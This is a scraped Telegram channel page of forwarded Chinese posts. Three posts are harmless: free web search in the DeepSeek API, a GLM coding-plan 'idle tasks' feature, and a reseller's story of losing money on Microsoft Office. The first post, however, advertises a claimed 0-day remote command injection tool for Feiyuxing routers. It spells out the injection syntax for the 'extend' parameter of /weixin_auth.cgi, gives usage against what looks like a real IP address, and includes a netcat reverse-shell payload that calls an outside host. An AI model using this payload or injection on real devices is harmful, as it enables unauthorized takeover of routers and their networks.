Forwarded from nyarvex
fyx_rce.py
6.2 KB
(0-day)飞鱼星路由器 weixin_auth.cgi 命令注入 - 逐字符写入工具
利用飞鱼星路由器 weixin_auth.cgi 接口中一个未经授权的远程命令注入漏洞（RCE）,漏洞位于 /weixin_auth.cgi 的 extend 参数。CGI脚本在处理该参数时，未对用户输入进行过滤，直接将参数值拼接到系统shell命令中执行。构造 extend=volanswechatconnwifi';<注入命令>;'，利用分号（;）闭合前面的正常语句，即可插入任意系统命令。
用法:
python3 fyx_rce.py <目标URL> [要写入的命令]
示例:
python3 fyx_rce.py http://222.88.213.2:8081 "mkfifo /tmp/f;cat /tmp/f|sh|nc 1.2.3.4 6666>/tmp/f"
python3 fyx_rce.py http://222.88.213.2:8081 # 使用默认反弹shell命令
利用飞鱼星路由器 weixin_auth.cgi 接口中一个未经授权的远程命令注入漏洞（RCE）,漏洞位于 /weixin_auth.cgi 的 extend 参数。CGI脚本在处理该参数时，未对用户输入进行过滤，直接将参数值拼接到系统shell命令中执行。构造 extend=volanswechatconnwifi';<注入命令>;'，利用分号（;）闭合前面的正常语句，即可插入任意系统命令。
Forwarded from HAT's Public Channel |
TIL: (每日火星) DeepSeek API 早就提供了免费的 web search 接口:
Responses API:
https://api-docs.deepseek.com/zh-cn/guides/responses_api/#tools —
A\ API:
https://api-docs.deepseek.com/zh-cn/guides/anthropic_api#message-fields —
使用的供应商应该是 https://open.bochaai.com/, 最终的数据上游依旧是万能的 Bing
相当于免费白嫖 ￥36/千次 的搜索 API, 梁圣的恩情还不完 ✋😭🤚
btw: 冷门 (?) 小知识, Kimi For Coding & Kimi Code 也有内置免费的 web search 接口哦
🤔 或许这也能作为判断是否掺水的小妙招？大规模搜索 API 维护起来还是不便宜的
Responses API:
https://api-docs.deepseek.com/zh-cn/guides/responses_api/#tools —
web_search / web_search_2025_08_26 : 支持，服务端执行。A\ API:
https://api-docs.deepseek.com/zh-cn/guides/anthropic_api#message-fields —
web_search_tool_result: Supported使用的供应商应该是 https://open.bochaai.com/, 最终的数据上游依旧是万能的 Bing
相当于免费白嫖 ￥36/千次 的搜索 API, 梁圣的恩情还不完 ✋😭🤚
btw: 冷门 (?) 小知识,
🤔 或许这也能作为判断是否掺水的小妙招？大规模搜索 API 维护起来还是不便宜的
Forwarded from HAT's Public Channel |
ZCode App x GLM Coding Plan 上线 “闲时任务” 功能
在不消耗订阅用户套餐额度的前提下，允许在 “算力富裕时段” 免费为用户完成委派的任务
评价：抛开这家公司不谈，这个模式还是挺有意思的，真的是最希望友商效仿的一集
*在此之前 GLM 也一直推出各类优惠政策以尝试对算力削峰填谷: https://t.me/hatschannel/4310
(注意：并非定时任务，只能指定在 「特定的日期」内完成)
在不消耗订阅用户套餐额度的前提下，允许在 “算力富裕时段” 免费为用户完成委派的任务
评价：抛开这家公司不谈，这个模式还是挺有意思的，真的是最希望友商效仿的一集
*在此之前 GLM 也一直推出各类优惠政策以尝试对算力削峰填谷: https://t.me/hatschannel/4310
(注意：并非定时任务，只能指定在 「特定的日期」内完成)
❤1
Forwarded from HAT's Public Channel |
在接下来的一整年，我们不谈发展，不搞创新，每天张开眼，先看销量是否下降。
一周换好几个法子，推 Office 的文章。
每月的销售目标，压的我们喘不过气来，无心发展任何其他业务。
据我所知，当年一共有 X 家签了这个协议，大家为了各自的销售目标，疯狂压价。
先是 —— 你赚 30 元？好，那我降价只赚 15 元。
然后 —— 只要不亏本就好。
最后 —— 离季度销售目标还差点，亏本再卖 200 套就能完成了。
然后每个月初，账上看上去钱挺多，瞬间全用来进货 Office，再要翻倍倒贴进去。
...
被反复抽打了一整年后，终于结束了。
------------
至于「数码荔枝」后来是怎么挺过来，其实很简单，因为我家里人掏出一百多万填进去了。
再往后的多年，慢慢还。
https://fixupx.com/DIGITALYCHEE/status/2085395617942327364
🧵 讨论串 • FixupX
数码荔枝 (@DIGITALYCHEE)
本篇将在不透露任何商业机密的情况下，讲讲我们如何靠努力卖微软 Office，亏掉上百万的。
书接上回。我们对电话会议的认真准备，迎来了微软的好感。
因为他们之前对接的公司，基本都不太会讲故事。
我说「数码荔枝」讲究调性，只销售精品 blablabla ... 他们很认可。
我后知后觉。其实大家都喜欢听故事，包括我。
在进行多次电话以及线下面聊后，我们签了协议，成为微软正儿八经的经销商。
我们每月保证销售几百套 Office 365。
实际上，我们确实也做到了。
------------
…
书接上回。我们对电话会议的认真准备，迎来了微软的好感。
因为他们之前对接的公司，基本都不太会讲故事。
我说「数码荔枝」讲究调性，只销售精品 blablabla ... 他们很认可。
我后知后觉。其实大家都喜欢听故事，包括我。
在进行多次电话以及线下面聊后，我们签了协议，成为微软正儿八经的经销商。
我们每月保证销售几百套 Office 365。
实际上，我们确实也做到了。
------------
…